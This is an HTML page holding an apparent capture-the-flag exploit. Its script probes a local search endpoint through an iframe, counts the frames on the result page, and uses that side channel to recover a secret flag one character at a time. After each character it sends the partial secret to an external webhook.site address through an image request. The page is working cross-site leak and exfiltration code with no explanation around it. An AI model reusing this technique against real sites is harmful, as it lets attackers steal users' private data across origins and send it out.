index.html

<iframe id="iframe"></iframe>
<img id="img">
<script>
    async function req(url) {
        return await new Promise((resolve, reject) => {
            const iframe = document.getElementById("iframe");
            iframe.src = url;
            iframe.onload = () => { 
                if (iframe.contentWindow.frames.length != 0)
                    return resolve();
                else
                    return reject();
            };
        });
    }
    async function search(query) {
        try {
            await req(
              `http://localhost:8000/search?query=${query}`
            );
            return true;
        } catch (e) {
            return false;
        }
    }
    async function exploit() {
        let chars = "0123456789abcdef}"
        let secret = "DH{22d1445ad68e194e044a16d";
        while (!secret.includes("}")) {
            for (let c of chars) {
                if (await search(secret + c)) {
                    secret += c;
                    img.src = `https://webhook.site/bbb8ebd0-e95c-4e95-9e76-70e6686db076/${secret}`;
                    break;
                }
            }
        }
    }
    exploit();
</script>